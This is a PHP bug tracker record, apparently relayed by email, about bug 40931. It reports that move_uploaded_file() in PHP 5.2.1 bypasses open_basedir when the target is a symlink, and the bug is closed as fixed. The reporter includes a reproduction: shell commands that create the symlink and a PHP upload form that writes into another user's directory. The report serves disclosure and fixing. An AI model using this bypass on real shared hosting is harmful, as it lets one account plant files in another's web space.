ID:               40931
 Updated by:       [EMAIL PROTECTED]
 Reported By:      vladimir at petrov dot ks dot ua
-Status:           Assigned
+Status:           Closed
 Bug Type:         Safe Mode/open_basedir
 Operating System: Linix
 PHP Version:      5.2.1
 Assigned To:      tony2001
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:
------------------------------------------------------------------------

[2007-03-27 21:19:24] vladimir at petrov dot ks dot ua

I have sent access information to my server to [EMAIL PROTECTED]
I see this bug really working.

------------------------------------------------------------------------

[2007-03-27 20:33:26] [EMAIL PROTECTED]

Cannot reproduce.

------------------------------------------------------------------------

[2007-03-27 19:59:46] vladimir at petrov dot ks dot ua

open_basedir actually used.
If I try to write directly to target directory by

move_uploaded_file($_FILES["userfile"]["tmp_name"],"/home/user2/public_html/file.ext")

I got proper error message in browser and in the apache error log.

------------------------------------------------------------------------

[2007-03-27 18:40:17] [EMAIL PROTECTED]

Make sure the open_basedir option is actually used and not overriden in
another way.

------------------------------------------------------------------------

[2007-03-27 18:30:13] vladimir at petrov dot ks dot ua

Description:
------------
User can bypass open_basedir restriction by move_uploaded_file() if
target file path is symlink to any directory.



Reproduce code:
---------------
user1 will upload file to user2's /home/user2/public_html folder.

We have in /etc/passwd:
user1:x:32001:32001::/home/user1:/bin/bash
user2:x:32002:32002::/home/user2:/bin/bash

Target folder allows to write for anybody:
# ls -lA /home/user2
drwxrwxrwx  2 user2 user2 4096 Mar 27 17:31 public_html/

Apache have mod_php intalled. Apache config for user1:
<VirtualHost xxx.xxx.xxx.xxx>
ServerName user1.xxxxxxx.com
DocumentRoot /home/user1/public_html
User user1
php_admin_value open_basedir "/home/user1"
</VirtualHost>


User user1 can do something like:

$ cd /home/user1/public_html/
$ ln -s /home/user2/public_html user2_public_html
$ echo '<html><body> 
 
<?
if ( isset($_FILES["userfile"]) ) {
    echo "Upload ";
    if (move_uploaded_file
($_FILES["userfile"]["tmp_name"],"/home/user1/public_html/user2_public_html/file.ext"))
         echo "ok";
    else echo "failed";
}

?> 
 
<form name="uplform" method="post" action="<?=$PHP_SELF?>"
enctype="multipart/form-data"> 
<input type="file" name="userfile"> 
<input type="submit"> 
 
</body></html>' > upload.php




Expected result:
----------------
If we access http://user1.xxxxxxx.com/upload.php after file upload
expected message
"Upload failed"
and no file 
/home/user2/public_html/file.ext
in target folder.



Actual result:
--------------
If we access http://user1.xxxxxxx.com/upload.php after file upload we
got message
"Upload ok"
and file 
/home/user2/public_html/file.ext
well exist in target folder.




------------------------------------------------------------------------


-- 
Edit this bug report at http://bugs.php.net/?id=40931&edit=1

Reply via email to